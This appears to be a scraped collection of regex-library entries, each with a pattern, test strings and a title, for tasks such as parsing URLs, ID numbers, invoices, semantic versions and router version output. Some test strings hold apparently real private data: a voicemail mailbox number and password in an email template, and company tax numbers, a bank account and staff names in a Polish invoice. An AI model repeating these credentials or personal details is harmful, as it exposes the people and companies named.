((On|Em)\s+(?:[0-3]?[0-9][\s,\/\.\-]*(?:(?:th)|(?:st)|(?:nd)|(?:rd))?.*?(?:(?:Jan(?:uary)?)|(?:[Jj]an(?:eiro)?)|(?:Feb(?:ruary)?)|(?:[Ff]ev(?:ereiro)?)|(?:Mar(?:ch)?)|(?:[Mm]ar(?:ço)?)|(?:Apr(?:il)?)|(?:[Aa]br(?:il)?)|(?:May)|(?:[Mm]ai(?:o)?)|(?:Jun(?:e)?)|(?:[Jj]un(?:ho)?)|(?:Jul(?:y)?)|(?:[Jj]ul(?:ho)?)|(?:Aug(?:ust)?)|(?:[Aa]go(?:sto)?)|(?:Sep(?:tember)?)|(?:[Ss]et(?:embro)?)|(?:Oct(?:ober)?)|(?:[Oo]ut(?:ubro)?)|(?:Nov(?:ember)?)|(?:[Nn]ov(?:embro)?)|(?:Dec(?:ember)?)|(?:[Dd]ez(?:embro)?)|(?:[0-1]?[0-9])).*(?:[1-2]?[0-9])[0-9][0-9][\s,\/\.\-](?:[0-2])?[0-9]:[0-5][0-9](?::[0-5][0-9])?(?:(?:\s)?[AP]M)?).*(wrote|escreveu):\s+)
Nos dois sistemas. > ##- Não escreva abaixo desta linha -## > > *Comentário adicionado por FERNANDO TEIXEIRA BARROS em 22/05/2018 10:23* > *Usuário:* FERNANDO TEIXEIRA BARROS* Data:* 22/05/2018 10:23:25 > > *COMENTÁRIO:* > Bom dia Mayla, > Apenas sistema Montafarma? > ------------------------------ > > *ID Reporte: * #1468 > *Situação: * *ABERTO* > *Módulo:* Produção > *Tela:* ordem de pedido > *Nome: * mayla.capana - MAYLA CAPANA > *Emissão: * 22/05/2018 12:00:00 > *Fechamento: * - > *Responsável: * DELTA SI > *Prioridade: * Urgente > *Tipo: * Ajuda > > *MENSAGEM: * > Bom dia, > > Por favor liberar o meu acesso, Izac e Priscila, para a tela de Produção - > Ordem de Pedido. (igual a tela que a Iza tem acesso). > > Aguardo retorno. > > Até, > >
dateTimePatternBR
2018-05-22T19:22:22.000Z
nametovalue\(([a-zA-Z]+),
select hql.nametovalue(WorkflowReasonType, substring(rs.ResourceName,locate('_', rs.ResourceName)+1)) as Code, rs.ResourceValue as Value select hql.nametovalue(WorkflowReasonType, substring(rs.ResourceName,locate('_', rs.ResourceName)+1)) as Code, rs.ResourceValue as Value
nametovalue
2019-08-21T15:19:20.000Z
ERROR: type should be string, got "https://\nhttp://\nhttps://\\/\\/\nhttps:\\/\\/\\/\\/\\/\\\nhttps://\\/\\/\n\nThe reason I include [\\/\\\\]* is because some links like: https://\\/\\/\\/\\/\\/www.google.com actually work."
https?:\/\/[\/\\]*(www\.)?
ERROR: type should be string, got "https://\nhttp://\nhttps://\\/\\/\nhttps:\\/\\/\\/\\/\\/\\\nhttps://\\/\\/\n\nThe reason I include [\\/\\\\]* is because some links like: https://\\/\\/\\/\\/\\/www.google.com actually work."
Match the start of a link.
2021-07-09T02:40:06.000Z
This expr will get the parent folder and file name from a full path eg: c:\folder1\folder2\folder3\file1.txt returns folder3\file1.txt
\\(?=[^\\]*(?=\\(?=[^\\]*(?=\.(?![^\\]*(?=\\))))))(.*)(\..*)
Get parent folder and file name from full path
2020-03-24T22:14:15.000Z
### Regex to match the valid and preferred number formats inside a LDraw model file and capture invalid parts in the formatting. **Syntax rules:** * White spacing characters must be spaces, tabs or a mix of both. * These numbers must be separated by one or more white spacing characters. * For markup, these numbers may have zero or more leading and/or trailing white spacing characters. **Number format rules:** * must be positive or negative integers or floats (123, 20, 0, 1.2, 0.05) * may have a maximum precision of 3 (.1, .01, .001) * must have no unnecessary leading or trailing zeros (e.g. 00001 or .200) * must have no unnecessary float notation (e.g. 10.) See reference: [LDraw File Format Specification](https://www.ldraw.org/article/218.html) **What it does and what it's used for** This regex matches every integer and float (excluding "e" notations). All invalid and/or unpreferred formats will be captured in groups 1 through 6. These groups will contain the invalid parts of a number. Some might have multiple format errors, but only one will be captured. See comments in `Test string` for which group captures what error. Group 0 contains the entire number including any possible invalid parts. This regex was created for us as an syntax highlighter for LDraw files in Sublime Text 3. **License** This work is licensed under a [Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License](http://creativecommons.org/licenses/by-nc-sa/4.0/).
(?<=[ \t])-? (?: (?: \d |[1-9]\d+ |[1-9]\d*\.\d{1,3}(?<!0) |\.\d{1,3}(?<!0) )|(?: (\.0*)0 |(0+)\.\d{0,2}[1-9] |(0+)(?:0|[1-9]\d*)\.?\d* |\d+(\.0*) |\d*\.(?:[1-9]|\d[1-9])?(0+) |\d*\.\d{3}(\d+) ) ) (?=[ \t]|$)[ \t]?
Valid: * Integers 0 1 10 123 -0 -1 -10 -123 * Floats <1, without leading zero, (1<=precision<=3) .1 .01 .001 .12 .123 -.1 -.01 -.001 -.12 -.123 * Floats >1, (1<=precision<=3) 1.1 1.01 1.001 1.12 1.123 12.1 12.12 12.123 123.1 123.12 123.123 -1.1 -1.01 -1.001 -1.12 -1.123 -12.1 -12.12 -12.123 -123.1 -123.12 -123.123 Invalid (in order of capture): * [1] Zero as float with only trailing zeros .0 .00 .000 -.0 -.00 -.000 * [2] Floats <1, with leading zero 0.1 0.01 0.001 0.12 0.123 -0.1 -0.01 -0.001 -0.12 -0.123 * [3] Integers with leading zeros 00 01 012 0123 000 001 0012 00123 0000 0001 00012 000123 -00 -01 -012 -0123 -000 -001 -0012 -00123 -0000 -0001 -00012 -000123 * [4] Integers as float ('fake floats') 0. 1. 12. 123. 0.0 0.00 0.000 0.0000 1.0 1.00 1.000 -0. -1. -12. -123. -0.0 -0.00 -0.000 -0.0000 -1.0 -1.00 -1.000 * [5] Floats with trailing zeros 1.10 1.100 1.120 .10 .100 .120 -1.10 -1.100 -1.120 -.10 -.100 -.120 * [6] Any float with precision >3 0.0001 0.0012 0.0123 0.1234 1.0001 1.0012 1.0123 1.1234 10.0001 10.0012 10.0123 10.1234 100.0001 100.0012 100.0123 100.1234 -0.0001 -0.0012 -0.0123 -0.1234 -1.0001 -1.0012 -1.0123 -1.1234 -10.0001 -10.0012 -10.0123 -10.1234 -100.0001 -100.0012 -100.0123 -100.1234
LDraw valid numbers and invalid formats capture
2021-02-25T21:41:54.000Z
(|[a-z])+b\b
In class
2018-09-19T12:48:34.000Z
(^MRS)|(MRS$)|(^MS)|(MS$)|(^MR)|(MR$)|(^DR)|(DR$)|(^MISS)|(MISS$)
MRS POLGLASE/NICOLA JANE MS MSSTORP/FLORIANMS CHIU/JUDY MS CORREX/SUBHADRADAMS CORREX/SUBHADRAMRS NEVER/WILLIAM MRS BASTONE/MALISSA G MRS CORREX/SUBHADRAMSMRS VERMA/DINESH MR HALIK/RAZALI MR MASUDA/MARKMR BASTONE/MALISSA GMR SYVERSEN/CLAUDIADR DUPUY DELOME CHAVARRI/LUISDR SYVERSEN/CLAUDIA DR CHEREQUE/PHILIPPE DR LEA/JAMESMS RUSH/PATRICKMS CHEREQUE/PHILIPPE MS HUCKSTADT SMITH/ANN MARIE MS TESSITORE/PAUL VINCENT MISS ADAMS/OWEN MISS NELSON/JENNIFER MMISS REED/ARIANA NICOLEMISS TCHOBANOVA/BORIANA ALEXANDROVAMISS
Pesquisa palavras inicio e fim
2021-01-21T12:47:45.000Z
Matches all img tags that have a URL for the src attribute. Useful for updating all those links in your email templates, or where ever your using the \<img\> tag
<img.*?src="(?!cid:)(http:(\/\/|\\\\)|https:(\/\/|\\\\))[^:*?"<>|]+".*?>
<body style="height: 100% !important;width: 100% !important;margin: 0 !important;padding: 0 !important;"> <table width="100%" cellpadding="0" cellspacing="0" border="0"> <tbody> <tr> <td align="center" bgcolor="#eb2026" border="0" cellpadding="0" cellpadding="0"> <img width="250" height="100" src="https://sim.sierraincidentmanager.com/images/Templates/SWOW_White_Logo.png"> </td> </tr> <tr> <td align="center" bgcolor="#999999" height="2px"> </td> </tr> <tr> <td align="center"> <p style="margin: 15px 0 20px 0;"> <strong style="font-size: 25px;"> On Call Notification </strong> <br> You have an upcoming on call shift </p> <table align="center" width="80%"> <tr> <td> <p style="margin: 10px 0 20px 0;"><strong>Name:</strong> [FirstName] [LastName]<br> <strong>Role:</strong> [Role]<br> <strong>Shift Position:</strong> [ShiftPosition]<br> <strong>OnCall Starts:</strong> [OnCallStarts]<br> <strong>OnCall Ends:</strong> [OnCallEnds]<br> <strong>Also on Call:</strong> [OnCallContacts] <br> <strong>Unassigned Incidents:</strong> [UnassignedIncidents]</p> <p style="margin: 10px 0 20px 0;"><em><strong>Instructions to Retrieve VM messages:</strong></em><br> - Dial 1-412-722-1700<br> - When the call is answered, press the star key<br> - When asked for mailbox, press 2002#<br> - When asked for the password, press 1560#</p> <p style="margin: 10px 0 20px 0;">&nbsp;</p> </td> </tr> </table> </td> </tr> </tbody> </table> <table width="100%" cellpadding="0" cellspacing="0" border="0" valign="bottom"> <tbody> <tr> <td align="center" valign="bottom" bgcolor="#999999" height="2px"> </td> </tr> <tr> <td align="center" bgcolor="#333333" height="120px" style="font-size: 12px;line-height: 18px;font-family: Helvetica, Arial, sans-serif;color: #c0c0c0;"> 2 Robinson Plaza, Suite 300, Pittsburgh, Pennsylvania 15205<br> <img alt="Phone:" border="0" height="14" src="https://sim.sierraincidentmanager.com/images/Templates/phone-icon.png" width="16">&nbsp;866.707.5869&nbsp;&nbsp;&nbsp;&nbsp; <img alt="Website:" border="0" height="16" src="https://sim.sierraincidentmanager.com/images/Templates/website-icon.png" width="18"> <a href="http://www.sierraexperts.com/" style="color: #c0c0c0;text-decoration: none;" target="_blank">www.SierraExperts.com</a>&nbsp;&nbsp;&nbsp;&nbsp; <img alt="Email:" border="0" height="16" src="https://sim.sierraincidentmanager.com/images/Templates/email-icon.png" width="18"> <a href="mailto:[email protected]" style="color: #c0c0c0;text-decoration: none;" target="_blank">[email protected]</a><br><br> <a href="https://www.facebook.com/SierraExperts" target="_blank"> <img alt="Facebook" border="0" height="20" src="https://sim.sierraincidentmanager.com/images/Templates/facebook-icon.png" style="vertical-align: top;" width="20"></a> <a href="https://www.linkedin.com/company/sierraexperts" target="_blank"> <img alt="LinkedIn" border="0" height="20" src="https://sim.sierraincidentmanager.com/images/Templates/linkedin-icon.png" style="vertical-align: top;" width="20"></a> <a href="https://sierraexperts.com/about-us/blog/" target="_blank"> <img alt="Wordpress" border="0" height="20" src="https://sim.sierraincidentmanager.com/images/Templates/wordpress-icon.png" style="vertical-align: top;" width="20"></a> <a href="https://twitter.com/sierraexperts" target="_blank"> <img alt="Twitter" border="0" height="20" src="cid:twitter-icon.png" style="vertical-align: top;" width="20"></a> <a href="https://plus.google.com/+Sierraexperts" target="_blank"> <img alt="Google Plus" border="0" height="20" src="https://sim.sierraincidentmanager.com/images/Templates/google-icon.png" style="vertical-align: top;" width="20"></a> <a href="https://www.youtube.com/user/SierraWO/feed" target="_blank"> <img alt="YouTube" border="0" height="20" src="http://sim.sierraincidentmanager.com/images/Templates/youtube-icon.png" style="vertical-align: top;" width="20"></a> <a href="http://www.manta.com/c/mmy9cxw/sierra-wo-wires" target="_blank"> <img alt="Manta" border="0" height="20" src="https://sim.sierraincidentmanager.com/images/Templates/manta-icon.png" style="vertical-align: top;" width="20"></a> <a href="https://www.pinterest.com/sierraexperts" target="_blank"> <img alt="Pinterest" border="0" height="20" src="https://sim.sierraincidentmanager.com/images/Templates/pinterest-icon.png" style="vertical-align: top;" width="20"></a> </td> </tr> </tbody> </table> </body>
Match HTML img elements with URL source
2018-05-07T16:05:55.000Z
^[^\d]*?(\+?\d\d)?(?:[^\d]*?0)?(?:[^\d]*?([1-9]))((?:[^\d]*?\d\d){4})$
0674420606 06 74 42 06 06 06/74/42/06/06 06-74-42-06-06 06.74.42.06.06 +33674420606 +330674420606 +33 6 74 42 06 06 (+33)674420606 (+33) 674420606 +33 0674420606 // ^[^\d]*?(\+?\d\d)?(?:[^\d]*?0)?(?:[^\d]*?([1-9]))((?:[^\d]*?\d\d){4})$ // [^\d+] // ^[^\d]?(\+?\d\d)?0?([1-9])((?:\d\d){4})$ // ^\+?\+?\d\d?0?[1-9](?:\d\d){4}$
phone number
2018-12-02T22:39:16.000Z
\s*comb\s*:\s*process\s*\((.*?)\)
comb : process (i_desc_mngr, r)
process(all)
2019-08-27T13:54:40.000Z
(\[ServiceContract)(\(.+\))?(\])
[ServiceContract(Namespace = Propriedades.Namespace)]
Clear WCF Contracts
2018-08-20T17:04:18.000Z
身份证号, 支持1/2代(15位/18位数字)
(^\d{8}(0\d|10|11|12)([0-2]\d|30|31)\d{3}$)|(^\d{6}(18|19|20)\d{2}(0\d|10|11|12)([0-2]\d|30|31)\d{3}(\d|X|x)$)
0341-86091234
身份证号, 支持1/2代(15位/18位数字)
2020-03-22T06:44:01.000Z
/^(?P<major>0|[1-9]\d*)\.(?P<minor>0|[1-9]\d*)\.(?P<patch>0|[1-9]\d*)(?:-(?P<prerelease>(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\+(?P<buildmetadata>[0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$/gm
^(?P<major>0|[1-9]\d*)\.(?P<minor>0|[1-9]\d*)\.(?P<patch>0|[1-9]\d*)(?:-(?P<prerelease>(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\+(?P<buildmetadata>[0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$
Valid Semantic Versions 0.0.4 1.2.3 10.20.30 1.1.2-prerelease+meta 1.1.2+meta 1.1.2+meta-valid 1.0.0-alpha 1.0.0-beta 1.0.0-alpha.beta 1.0.0-alpha.beta.1 1.0.0-alpha.1 1.0.0-alpha0.valid 1.0.0-alpha.0valid 1.0.0-alpha-a.b-c-somethinglong+build.1-aef.1-its-okay 1.0.0-rc.1+build.1 2.0.0-rc.1+build.123 1.2.3-beta 10.2.3-DEV-SNAPSHOT 1.2.3-SNAPSHOT-123 1.0.0 2.0.0 1.1.7 2.0.0+build.1848 2.0.1-alpha.1227 1.0.0-alpha+beta 1.2.3----RC-SNAPSHOT.12.9.1--.12+788 1.2.3----R-S.12.9.1--.12+meta 1.2.3----RC-SNAPSHOT.12.9.1--.12 1.0.0+0.build.1-rc.10000aaa-kk-0.1 99999999999999999999999.999999999999999999.99999999999999999 1.0.0-0A.is.legal Invalid Semantic Versions 1 1.2 1.2.3-0123 1.2.3-0123.0123 1.1.2+.123 +invalid -invalid -invalid+invalid -invalid.01 alpha alpha.beta alpha.beta.1 alpha.1 alpha+beta alpha_beta alpha. alpha.. beta 1.0.0-alpha_beta -alpha. 1.0.0-alpha.. 1.0.0-alpha..1 1.0.0-alpha...1 1.0.0-alpha....1 1.0.0-alpha.....1 1.0.0-alpha......1 1.0.0-alpha.......1 01.1.1 1.01.1 1.1.01 1.2 1.2.3.DEV 1.2-SNAPSHOT 1.2.31.2.3----RC-SNAPSHOT.12.09.1--..12+788 1.2-RC-SNAPSHOT -1.0.3-gamma+b7718 +justmeta 9.8.7+meta+meta 9.8.7-whatever+meta+meta 99999999999999999999999.999999999999999999.99999999999999999----RC-SNAPSHOT.12.09.1--------------------------------..12
alluse
2023-02-22T18:30:56.000Z
[[:<:]][A-Za-z]([a-z- '.])*
Aaaa Aa.'aa
name validator
2019-10-01T17:25:07.000Z
^[-+]?(?:\d*|\d+\.?\d*)$
DATA null 2.6 3 null 3.5 4.4 null null 8.4 4.1 3.35 null null null 5.602178 +1224687894.324234 1ab2.awd5 1a.w a.2 2.1a1
All rows with FLOAT datatype
2018-08-15T15:43:25.000Z
^((((End|end|Start|start)?\s)?#[1-9][0-9]* @([1-9][0-9]*(h|m?))+\s(.|\n|\r)+)|(Merge.+branch '.+'(.+into.+)?))
#2603 @1m sous modules ^((((End|end|Start|start)?\s)?#[1-9][0-9]* @([1-9][0-9]*(h|m?))+\s(.|\n|\r)+)|(Merge.+branch '.+'(.+into.+)?))
Commit GitLab
2017-05-09T12:44:22.000Z
# Extract the Data from Sri Lankan National Identity Card The SL NIC could be divided into two groups, 1. Before 2016 (9 alphanumeric digits with one English letter) 2. After 2016 (12 alphanumeric digits) > NICs issued before 1 January 2016, each NIC has a unique 9-digit number and a letter, in the format 000000000V (where 0 is a digit and V is a letter). The first two digits of the number are the holder's year of birth (e.g.: 91xxxxxxxx for someone born in 1991). The next three digits contain the number of the day in the year for the person's birth. For females, 500 is added to the number of days. The next three digits number is the serial number of the issued day. The next digit is the check digit. The final letter is generally a 'V' which indicates that the holder is eligible to vote in the area. In some cases the final letter can be 'X' which usually indicates the holder is not eligible to vote; possibly because they were not permanent residents of Sri Lanka when applying for a NIC. (Directly copied from Wikipedia) 1. Old NIC - Before 2016 Birth Year: 72 Day Count for Birthday: 244 Serial Number; 152 Check Digit: 4 Special Letter: V The NIC Number: 722441524V 2. New NIC - After 2016 Birth Year: 2001 Day Count for Birthday: 253 Serial Number; 0297 Check Digit: 6 Special Letter: - The NIC Number: 200125302976 * Can be used for any men or women born in 1950-2999
^(([5,6,7,8,9]{1})([0-9]{1})([0,1,2,3,5,6,7,8]{1})([0-9]{6})([v|V|x|X]))|(([1,2]{1})([0,9]{1})([0-9]{2})([0,1,2,3,5,6,7,8]{1})([0-9]{7}))
880053611V 198800503611 978561353V 199785601355 920600073V 199206000073
Sri Lankan NIC Validation Regex - Sri Lanka - National Identity Card Number Validation Regex
2023-07-09T07:25:35.000Z
Patern to wycinania poszczególnych wartości z tabeli
(?i)(?<Lp>\d{1,2}(?![\s\S]*?(Lp\.|Ilość|Cena)))\s*(?<NazwaProduktu>([\S ]*?[\n\r]*){1,3})\s+(?<Ilosc>([a-z]{3}|\d{1,3}\s*[a-z]{3}))\s*(?<SWW>\s*\d{2}\.\d{2}\.\d{2}.\d{1,2})\s*(?<CenaNetto>(\d{1,3},\d{2}|\d{1,3}\.\d{1,3},\d{2}))\s*(?<WartoscNetto>(\d{1,3},\d{2}|\d{1,3}\.\d{1,3},\d{2}))\s*(?<StVAT>\d{1,2})\s*(?<KwotaVAT>(\d{1,3},\d{2}|\d{1,3}\.\d{1,3},\d{2}))\s*(?<WartoscBrutto>(\d{1,3},\d{2}|\d{1,3}\.\d{1,3},\d{2}))\s*(?<Waluta>[a-z]{3})
aktura VAT  Oryginał numer/data Data sprzedaży 904129299 / 05.06.2020 05.06.2020 Opracował Pani Tomasiuk / +48 32 7375860/ [email protected] nr zamówienia Klienta/data T552744 / 25.03.2020 nr dokumentu dostawy/data sprzedaży 8113565910 / 05.06.2020 numer zamówienia/data 4276410 / 01.04.2020 numer Klienta / referencje Klienta 79004603 Wasz nr NIP 554-031-17-75 Nasz nr NIP 635-000-02-22 referencje płatności 0904129299  NABYWCA Pojazdy Szynowe PESA Bydgoszcz S.A. Zygmunta Augusta 11 PL-85-082 BYDGOSZCZ warunki płatności: Do dnia 03.09.2020 po tym terminie naliczać będziemy ustawowe odsetki.  rodzaj wysyłki: transport drogowy  warunki dostawy: CPT Magazyn Odbiorcy  ______________________________________________________________________________________________________ Lp. Nazwa towaru Ilość SWW/ Cena Wartość VAT Kwota Wartość /PKWiU netto netto % VAT brutto ______________________________________________________________________________________________________ 80 HRL 4 KP 28 PAFF CZARNE Obejma numer art. Klienta 9461-3800-00-0309 PAR 25.11.10.0 3,75 150,00 23 34,50 184,50 PLN ______________________________________________________________________________________________________ Razem 150,00 34,50 184,50 ______________________________________________________________________________________________________ Do zapłaty: 184,50 PLN Słownie: STO OSIEMDZIESIĄT CZTERY 50/100 zł Płatność prosimy dokonać na konto nr: 25 1750 1035 0000 0000 3761 9078 Do czasu uiszczenia całkowitej zapłaty, towar jest własnością sprzedającego. Dokument wygenerowany elektronicznie, nie wymaga podpisu. NABYWCA Pojazdy Szynowe PESA Bydgoszcz S.A. Zygmunta Augusta 11 PL-85-082 BYDGOSZCZ data/numer 05.06.2020 / 904129299 Strona 2 / 2  Joanna Korzeniec ............................................. Podpis i pieczęć osoby uprawnionej do wystawienia faktury VAT
LinePatern
2020-06-22T13:08:52.000Z
^(\w+)\/?(.*?)\/?$
hqvg/action/apokd/ hqvg/action/apokd hqvg/ hqvg hqvg/action/apokd/azdada/adaZ/ada/da hqvg/action/apokd/azdada/adaZ/ada/da/ azadadzadazdazdazd /azdazdad/adazd otherAppUid/anAction/
Deeplink without protocol
2018-04-13T14:47:34.000Z
1. Starts with a text prefix 2. Alpha numeric 3. Cant have underscores
^(GLOAWSECAS_Bubble)[a-zA-Z0-9\S]+$
GLOAWSECAS_Bubble_RADA_GROUP_NAME
AlphaNumeric + Starts with specific text + no underscores
2020-06-08T12:46:16.000Z
Parse the Accept request HTTP header advertises which content types, expressed as MIME types, [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Accept](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Accept)
(?<content>(?<type>.+?)\/(?<sub>.+?)(?:\+(?<suffix>.+?))?)(?:;.*?(?:q=(?<weight>[.\d]+))?.*?)?(?:,|$)
*/* text/html,application/json;q=0.9 application/json; charset=utf-8 application/json; xx=utf-8 text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 application/javascript application/x-www-form-urlencoded application/ld+json application/vnd.ms-excel application/vnd.openxmlformats-officedocument.wordprocessingml.document multipart/form-data
Parse Accept Header HTTP
2018-08-21T11:18:14.000Z
Matches comments, strings, templates, and regexes from javascript code. __also matches templates recursively in order to correctly get template data__
(\/\/.*|\/\*[\s\S]*?\*\/)|((['"])(?:\\\3|\\?.)*?\3|`(?:\\`|\$({(?:(?1)|(?2)|(?4)|[\s\S])*?})|\\?[\s\S])*?`|\/(?:\\\/|\\?.)*?\/[gmixsuUAJD]*)
// ignores comments --> "hello" const names = ["John", 'Doe', "O'Hare"]; // strings const randomMessage = `Hello, ${ names[Math.random() * names.length | 0] }!`; // templates /* supports recursion and multi-line comments */ const namesString = `${ names[0] }, ${ `${names[1]}, ${names[2]}` }`; const objectObject = `${ {} }`; const objectObjectExtra = `${ {} } }` // keeps track of curly braces const commentTemplate = `before ${ // multi-line "String", "other value (with brace })", {} /* comment attempting to trick the match with extra brace { */ } after`; // matches regex // make sure to re-match for every 4th group you get (inside of templates) const number = /[0-9]+/gm;
JavaScript String Matcher
2023-07-19T18:11:48.000Z
(VRP.+|Cisco\sIOS.+)(Version\s\S+)|(HUAWEI\s\S+|cisco\s\S+)
<RMCOVTA0201>dis ver Huawei Versatile Routing Platform Software VRP (R) software, Version 8.10 (CX600 V800R007C10) Copyright (C) 2012-2014 Huawei Technologies Co., Ltd. HUAWEI CX600-X2-M16 uptime is 902 days, 1 hour, 17 minutes CX600-X2-M16 version information: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - BKP version information: PCB Version : CX68BKP03B REV B MPU Slot Quantity : 2 NPU Slot Quantity : 2 CARD Slot Quantity : 16 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - MPU version information: MPU (Master) 19 : uptime is 902 days, 1 hour, 16 minutes StartupTime 2015/04/16 19:22:14 SDRAM Memory Size : 2048 M bytes FLASH Memory Size : 16 M bytes NVRAM Memory Size : 4096 K bytes CFCARD Memory Size : 2048 M bytes CX6D00MPUK70 version information: PCB Version : CX68MPUK REV B EPLD Version : 106 FPGA Version : 107 BootROM Version : 03.47 BootLoad Version : 03.47 MPU (Slave) 20 : uptime is 902 days, 1 hour, 14 minutes StartupTime 2015/04/16 19:24:06 SDRAM Memory Size : 2048 M bytes FLASH Memory Size : 16 M bytes NVRAM Memory Size : 4096 K bytes CFCARD Memory Size : 2048 M bytes CX6D00MPUK70 version information: PCB Version : CX68MPUK REV B EPLD Version : 106 FPGA Version : 107 BootROM Version : 03.47 BootLoad Version : 03.47 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - NPU version information: NPU 17 : uptime is 902 days, 1 hour, 14 minutes StartupTime 2015/04/16 19:24:17 Host processor : SDRAM Memory Size : 2048 M bytes Flash Memory Size : 128 M bytes LPU CR5DNPU12070 version information: PCB Version : CX68NPU120A REV BCisco IOS XR Software, Version 5.1.3[Default] RP/0/RSP0/CPU0:RMCOCEM0101#sh ver Wed Oct 4 12:47:21.939 BRT Cisco IOS XR Software, Version 5.1.3[Default] Copyright (c) 2015 by Cisco Systems, Inc. ROM: System Bootstrap, Version 0.75(c) 1994-2012 by Cisco Systems, Inc. RMCOCEM0101 uptime is 39 weeks, 2 hours, 6 minutes System image file is "disk0:asr9k-os-mbi-5.1.3.CSCur21570-1.0.0/0x100305/mbiasr9k-rsp3.vm" cisco ASR9K Series (Intel 686 F6M14S4) processor with 6291456K bytes of memory. Intel 686 F6M14S4 processor at 2127MHz, Revision 2.174 ASR 9006 DC Chassis with PEM Version 2 4 Management Ethernet 40 GigabitEthernet 8 TenGigE 8 DWDM controller(s) 8 WANPHY controller(s) 503k bytes of non-volatile configuration memory. 6220M bytes of hard disk. 12510192k bytes of disk0: (Sector size 512 bytes). 12510192k bytes of disk1: (Sector size 512 bytes). Configuration register on node 0/RSP0/CPU0 is 0x2102 Boot device on node 0/RSP0/CPU0 is disk0: Package active on node 0/RSP0/CPU0: iosxr-fwding-5.1.3.CSCur07854, V 1.0.0[SMU], Cisco Systems, at disk0:iosxr-fwding-5.1.3.CSCur07854-1.0.0 Built on Fri Oct 17 03:14:03 BRT 2014 By iox-bld1 in /scratch1/smu/EFR/smu_r51x_5_1_3/workspace for pie RP/0/RSP0/CPU0:RTARRCE0202#sh ver Wed Oct 4 13:06:41.766 BRT Cisco IOS XR Software, Version 5.1.3[Default] Copyright (c) 2015 by Cisco Systems, Inc. ROM: System Bootstrap, Version 0.71(c) 1994-2012 by Cisco Systems, Inc. RTARRCE0202 uptime is 1 year, 28 weeks, 8 hours, 58 minutes System image file is "disk0:asr9k-os-mbi-5.1.3.CSCuv70838-1.0.0/0x100305/mbiasr9k-rsp3.vm" cisco ASR9K Series (Intel 686 F6M14S4) processor with 6291456K bytes of memory. Intel 686 F6M14S4 processor at 2128MHz, Revision 2.174 ASR 9006 DC Chassis with PEM Version 2 2 Management Ethernet 20 TenGigE 20 DWDM controller(s) 20 WANPHY controller(s) 20 GigabitEthernet 503k bytes of non-volatile configuration memory. 6271M bytes of hard disk. 11817968k bytes of disk0: (Sector size 512 bytes). 11817968k bytes of disk1: (Sector size 512 bytes). Configuration register on node 0/RSP0/CPU0 is 0x2102 Boot device on node 0/RSP0/CPU0 is disk0: Package active on node 0/RSP0/CPU0: iosxr-fwding-5.1.3.CSCux30811, V 1.0.0[SMU], Cisco Systems, at disk0:iosxr-fwding-5.1.3.CSCux30811-1.0.0 Built on Fri Dec 11 19:52:18 BRTSUMMERTIME 2015 By iox-lnx-008 in /san1/smu/EFR/smu_r51x_5_1_3/workspace for pie asr9k-px-5.1.3.CSCux30811, V 1.0.0[SMU], Cisco Systems, at disk0:asr9k-px-5.1.3.CSCux30811-1.0.0 Built on Fri Dec 11 19:52:21 BRTSUMMERTIME 2015 By iox-lnx-008 in /san1/smu/EFR/smu_r51x_5_1_3/workspace for pie BFGME10#sh ver Cisco IOS Software, c7600rsp72043_rp Software (c7600rsp72043_rp-ADVENTERPRISEK9-M), Version 15.3(3)S4, RELEASE SOFTWARE (fc1) Technical Support: http://www.cisco.com/techsupport Copyright (c) 1986-2014 by Cisco Systems, Inc. Compiled Fri 19-Sep-14 01:29 by prod_rel_team ROM: System Bootstrap, Version 12.2(33r)SRE2, RELEASE SOFTWARE (fc1) BOOTLDR: Cisco IOS Software, c7600rsp72043_rp Software (c7600rsp72043_rp-ADVENTERPRISEK9-M), Version 15.3(3)S4, RELEASE SOFTWARE (fc1) BFGME10 uptime is 2 years, 14 weeks, 14 hours, 24 minutes Uptime for this control processor is 2 years, 14 weeks, 12 hours, 59 minutes System returned to ROM by power cycle (SP by power on) System restarted at 23:57:22 UTC Sun Jun 28 2015 System image file is "sup-bootdisk:/c7600rsp72043-adventerprisek9-mz.153-3.S4.bin" Last reload type: Normal Reload Last reload reason: power-on This product contains cryptographic features and is subject to United States and local country laws governing import, export, transfer and use. Delivery of Cisco cryptographic products does not imply third-party authority to import, export, distribute or use encryption. Importers, exporters, distributors and users are responsible for compliance with U.S. and local country laws. By using this product you agree to comply with applicable laws and regulations. If you are unable to comply with U.S. and local laws, return this product immediately. A summary of U.S. laws governing Cisco cryptographic products may be found at: http://www.cisco.com/wwl/export/crypto/tool/stqrg.html <RMAGLRA-LMPN02-01>dis <RMAGLRA-LMPN02-01>display ver Huawei Versatile Routing Platform Software VRP (R) software, Version 8.10 (CX600 V800R007C10) Copyright (C) 2012-2014 Huawei Technologies Co., Ltd. HUAWEI CX600-X2-M8 uptime is 434 days, 2 hours, 3 minutes CX600-X2-M8 version information: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - BKP version information: PCB Version : CX68BKP02B REV B MPU Slot Quantity : 2 NPU Slot Quantity : 2 CARD Slot Quantity : 8 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - MPU version information:
catch_softwareversion_model_huawei_cisco
2017-10-04T16:58:13.000Z
